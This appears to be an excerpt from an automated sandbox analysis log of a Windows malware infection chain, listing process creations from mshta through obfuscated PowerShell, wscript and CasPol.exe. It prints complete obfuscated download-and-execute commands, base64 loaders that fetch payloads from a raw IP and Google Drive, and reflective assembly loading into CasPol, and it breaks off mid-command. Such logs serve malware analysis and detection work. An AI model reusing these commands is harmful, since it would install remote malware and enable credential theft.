                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.ExeJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.cmdline"Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7781.tmp" "c:\Users\user\AppData\Local\Temp\htcuymda\CSCED218374D5764718ADCDD459E0E116EB.TMP"Jump to behavior
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.cmdline"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs"
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC6F7.tmp" "c:\Users\user\AppData\Local\Temp\1vm3e1kt\CSC4B568FC3E3A64456AB5664CB529ACC2C.TMP"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9FTkQ+Pnptdzs3Vk1zdGFydEluJysnZGV4ID0gNycrJ1ZNaW1hZ2VUZXh0LkluZGV4T2YoN1ZNc3RhcnRGbGFnKTs3Vk1lbmRJbmRleCA9IDdWTWltYWcnKydlVGV4dC5JbmRleE9mKDdWTWVuZEZsYWcpOzdWTXN0JysnYXJ0SW5kZXggLScrJ2dlIDAgLWFuZCA3Vk1lbmRJbmQnKydleCAtZ3QgN1ZNc3RhcnRJbmRleCcrJzs3Vk1zdGFydEluZGV4ICs9IDdWTXN0YXJ0RmxhZy5MZW5ndGg7N1ZNJysnYmFzZTY0TGVuZ3RoID0gJysnNycrJ1ZNZW5kSW5kZXggLSA3VicrJ01zdGEnKydydEluZGV4OzdWTWJhc2U2NENvbW1hbmQgPSA3Vk1pbWFnZVRleHQuU3ViJysnc3RyaW5nKDdWTXN0YXJ0SW5kZXgsIDdWTWJhc2U2NExlbmd0aCk7N1ZNJysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoN1YnKydNYicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHJwOCBGb3JFYWNoLU9iamVjdCB7IDdWTV8gfSlbLTEuLi0oN1ZNYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTs3Vk1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm8nKydtQmFzZTY0U3RyaW5nKDdWTWJhc2U2NFJldmVycycrJ2VkKTs3Vk0nKydsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoN1ZNY29tbWFuZEJ5dGVzKTs3Vk12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHptd1ZBSXptdyk7N1ZNdmFpTWV0aG9kLkludm9rZSg3Vk1udWxsLCAnKydAKHptd3R4dC5UVFInKydDTUxMLzIxNC8xMi4xJysnMDEuMy4yOTEvLzpwdHRoem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdkZXNhdGl2YScrJ2Rvem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdDYXNQb2x6bXcsIHptd2Rlc2F0aXZhZCcrJ296bXcsIHptd2Rlc2F0aXZhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2YWRvem13LHptd2Rlc2F0aXYnKydhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2JysnYWRveicrJ213LHptdzF6bXcsem13ZGVzYXRpdmFkb3ptdykpOycpICAtckVQbEFDZSAncnA4JyxbQ0hhcl0xMjQgIC1jcmVQbGFDRSAgKFtDSGFyXTEyMitbQ0hhcl0xMDkrW0NIYXJdMTE5KSxbQ0hhcl0zOS1jcmVQbGFDRShbQ0hhcl01NStbQ0hhcl04NitbQ0hhcl03NyksW0NIYXJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwCasPolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -rEPlACe 'rp8',[CHar]124 -crePlaCE ([CHar]122+[CHar]109+[CHar]119),[CHar]39-crePlaCE([CHar]55+[CHar]86+[CHar]77),[CHar]36))"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\mpqqyenbumlfhmiakqc"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\wjwiyxyvivdsjteetbolyxd"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\hljbzpjxwdvxtzshkmjmbbyzqg"
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jfryohmgicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagyurelvr5ugugicagicagicagicagicagicagicagicagicagicatbwvtymvsrgvgsu5pvglvtiagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvckxtb04ilcagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicbotxr3u0fmlhn0cmluzyagicagicagicagicagicagicagicagicagicagiglxrlfywcxzdhjpbmcgicagicagicagicagicagicagicagicagicagicbsv05uv1btu3vacyx1aw50icagicagicagicagicagicagicagicagicagicagsurnekqssw50uhryicagicagicagicagicagicagicagicagicagicagr0nerfpytkjnexupoycgicagicagicagicagicagicagicagicagicagicattmfnrsagicagicagicagicagicagicagicagicagicagicjhdudtbnpkwiigicagicagicagicagicagicagicagicagicagicatbmftrvnqywnficagicagicagicagicagicagicagicagicagicags3njq3lpzlhzeekgicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagjfryohm6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4xmdeumjevndeyl3nlzxrozwjlc3r0agluz3nnaxzpbmdyzw5lcmd5dg9tewvudglyzwxpzmvmb3jnzxrozxjiywnrlnrjriisiirftny6qvbqrefuqvxzzwv0agvizxn0dghpbmdzz2l2aw5ncmvuzxjnexrvbxllbnrpcmvsawzlzm9yz2v0ac5wqnmildasmck7u3rbunqtc2xlzxaomyk7c3rbulqgicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxhnlzxrozwjlc3r0agluz3nnaxzpbmdyzw5lcmd5dg9tewvudglyzwxpzmvmb3jnzxrollzccyi='+[char]0x22+'))')))"
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jfryohmgicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagyurelvr5ugugicagicagicagicagicagicagicagicagicagicatbwvtymvsrgvgsu5pvglvtiagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvckxtb04ilcagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicbotxr3u0fmlhn0cmluzyagicagicagicagicagicagicagicagicagicagiglxrlfywcxzdhjpbmcgicagicagicagicagicagicagicagicagicagicbsv05uv1btu3vacyx1aw50icagicagicagicagicagicagicagicagicagicagsurnekqssw50uhryicagicagicagicagicagicagicagicagicagicagr0nerfpytkjnexupoycgicagicagicagicagicagicagicagicagicagicattmfnrsagicagicagicagicagicagicagicagicagicagicjhdudtbnpkwiigicagicagicagicagicagicagicagicagicagicatbmftrvnqywnficagicagicagicagicagicagicagicagicagicags3njq3lpzlhzeekgicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagjfryohm6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4xmdeumjevndeyl3nlzxrozwjlc3r0agluz3nnaxzpbmdyzw5lcmd5dg9tewvudglyzwxpzmvmb3jnzxrozxjiywnrlnrjriisiirftny6qvbqrefuqvxzzwv0agvizxn0dghpbmdzz2l2aw5ncmvuzxjnexrvbxllbnrpcmvsawzlzm9yz2v0ac5wqnmildasmck7u3rbunqtc2xlzxaomyk7c3rbulqgicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxhnlzxrozwjlc3r0agluz3nnaxzpbmdyzw5lcmd5dg9tewvudglyzwxpzmvmb3jnzxrollzccyi='+[char]0x22+'))')))"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'jigor2vulvzbumlhqmxficcqburskicplk5btuvbmywxmswyxs1kt0lujycpkcaokcc3jysnvk1pbwfnzvvybca9ihptd2h0dhbzoi8vzhjpdmuujysnz29vz2xllmnvbs91yz9lehbvcnq9zg93bmxvywqmawq9mufjvmdkskp2muy2dlm0c1vpewjusc1zrhzvaejzd3vyihptdzs3vk13zwjdbgknkydlbnqgpsbozxctt2jqzwn0jysnifn5c3rlbs5ozxquv2viq2xpzw50ozdwtwknkydtywdlqnl0zxmgpsa3vk13zwjdbgllbnqurg93bmxvywreyxrhkddwtwltywdlvxjskts3vk1pbwfnzvrlehqgpsankydbu3lzdgvtllrlehqurw5jb2rpbmddojpvvccrj0ynkyc4lkdldfn0cmluzyg3vk1pbwfnzuj5dgvzkts3vk1zdgfydezsywcgpsb6bxc8pejbuycrj0u2nf9tvefsvd4+em13ozdwtwvuzezsywcgpsb6bxc8pejbu0u2jysnnf9ftkq+pnptdzs3vk1zdgfydelujysnzgv4id0gnycrj1znaw1hz2vuzxh0lkluzgv4t2yon1znc3rhcnrgbgfnkts3vk1lbmrjbmrleca9iddwtwltywcnkydlvgv4dc5jbmrlee9mkddwtwvuzezsywcpozdwtxn0jysnyxj0sw5kzxgglscrj2dlidaglwfuzca3vk1lbmrjbmqnkydlecatz3qgn1znc3rhcnrjbmrleccrjzs3vk1zdgfydeluzgv4ics9iddwtxn0yxj0rmxhzy5mzw5ndgg7n1znjysnymfzzty0tgvuz3roid0gjysnnycrj1znzw5ksw5kzxgglsa3vicrj01zdgenkydydeluzgv4ozdwtwjhc2u2nenvbw1hbmqgpsa3vk1pbwfnzvrlehquu3vijysnc3ryaw5nkddwtxn0yxj0sw5kzxgsiddwtwjhc2u2nexlbmd0ack7n1znjysnymfzzty0umv2zxjzzwqgpsatam9pbiaon1ynkydnyicrj2fzzty0q29tbwfuzc5ub0noyxjbcnjhesgpihjwocbgb3jfywnolu9iamvjdcb7iddwtv8gfslblteuli0on1znymenkydzzty0q29tbwfuzc5mzw5ndggpxts3vk1jb21tyw5kqnl0zxmgpsbbu3lzdgvtlknvbnzlcnrdojpgcm8nkydtqmfzzty0u3ryaw5nkddwtwjhc2u2nfjldmvycycrj2vkkts3vk0nkydsb2fkzwrbc3nlbwjsesa9ifttexn0zw0uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqon1zny29tbwfuzej5dgvzkts3vk12ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkhptd1zbsxptdyk7n1zndmfptwv0ag9klkludm9rzsg3vk1udwxslcankydakhptd3r4dc5uvfinkyddtuxmlzixnc8xmi4xjysnmdeumy4yotevlzpwdhroem13lcb6bxdkzxnhdgl2ywrvem13lcb6bxdkzxnhdgl2yscrj2rvem13lcb6bxdkzxnhdgl2ywrvem13lcb6bxddyxnqb2x6bxcsihptd2rlc2f0axzhzccrj296bxcsihptd2rlc2f0axzhzg96bxcsem13zgvzyxrpdmfkb3ptdyx6bxdkzxnhdgl2ywrvem13lhptd2rlc2f0axynkydhzg96bxcsem13zgvzyxrpdmfkb3ptdyx6bxdkzxnhdgl2jysnywrveicrj213lhptdzf6bxcsem13zgvzyxrpdmfkb3ptdykpoycpicatckvqbefdzsancna4jyxbq0hhcl0xmjqgic1jcmvqbgfdrsagkftdsgfyxteymitbq0hhcl0xmdkrw0niyxjdmte5ksxbq0hhcl0zos1jcmvqbgfdrshbq0hhcl01nstbq0hhcl04nitbq0hhcl03nyksw0niyxjdmzypkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "&((get-variable '*mdr*').name[3,11,2]-join'')( (('7'+'vmimageurl = zmwhttps://drive.'+'google.com/uc?export=download&id=1aivgjjjv1f6vs4suoybnh-sdvuhbywur zmw;7vmwebcli'+'ent = new-object'+' system.net.webclient;7vmi'+'magebytes = 7vmwebclient.downloaddata(7vmimageurl);7vmimagetext = '+'[system.text.encoding]::ut'+'f'+'8.getstring(7vmimagebytes);7vmstartflag = zmw<<bas'+'e64_start>>zmw;7vmendflag = zmw<<base6'+'4_end>>zmw;7vmstartin'+'dex = 7'+'vmimagetext.indexof(7vmstartflag);7vmendindex = 7vmimag'+'etext.indexof(7vmendflag);7vmst'+'artindex -'+'ge 0 -and 7vmendind'+'ex -gt 7vmstartindex'+';7vmstartindex += 7vmstartflag.length;7vm'+'base64length = '+'7'+'vmendindex - 7v'+'msta'+'rtindex;7vmbase64command = 7vmimagetext.sub'+'string(7vmstartindex, 7vmbase64length);7vm'+'base64reversed = -join (7v'+'mb'+'ase64command.tochararray() rp8 foreach-object { 7vm_ })[-1..-(7vmba'+'se64command.length)];7vmcommandbytes = [system.convert]::fro'+'mbase64string(7vmbase64revers'+'ed);7vm'+'loadedassembly = [system.reflection.assembly]::load(7vmcommandbytes);7vmvaimethod = [dnlib.io.home].getmethod(zmwvaizmw);7vmvaimethod.invoke(7vmnull, '+'@(zmwtxt.ttr'+'cmll/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwcaspolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -replace 'rp8',[char]124 -creplace ([char]122+[char]109+[char]119),[char]39-creplace([char]55+[char]86+[char]77),[char]36))"
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jfryohmgicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagyurelvr5ugugicagicagicagicagicagicagicagicagicagicatbwvtymvsrgvgsu5pvglvtiagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvckxtb04ilcagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicbotxr3u0fmlhn0cmluzyagicagicagicagicagicagicagicagicagicagiglxrlfywcxzdhjpbmcgicagicagicagicagicagicagicagicagicagicbsv05uv1btu3vacyx1aw50icagicagicagicagicagicagicagicagicagicagsurnekqssw50uhryicagicagicagicagicagicagicagicagicagicagr0nerfpytkjnexupoycgicagicagicagicagicagicagicagicagicagicattmfnrsagicagicagicagicagicagicagicagicagicagicjhdudtbnpkwiigicagicagicagicagicagicagicagicagicagicatbmftrvnqywnficagicagicagicagicagicagicagicagicagicags3njq3lpzlhzeekgicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagjfryohm6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4xmdeumjevndeyl3nlzxrozwjlc3r0agluz3nnaxzpbmdyzw5lcmd5dg9tewvudglyzwxpzmvmb3jnzxrozxjiywnrlnrjriisiirftny6qvbqrefuqvxzzwv0agvizxn0dghpbmdzz2l2aw5ncmvuzxjnexrvbxllbnrpcmvsawzlzm9yz2v0ac5wqnmildasmck7u3rbunqtc2xlzxaomyk7c3rbulqgicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxhnlzxrozwjlc3r0agluz3nnaxzpbmdyzw5lcmd5dg9tewvudglyzwxpzmvmb3jnzxrollzccyi='+[char]0x22+'))')))"Jump to behavior
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; 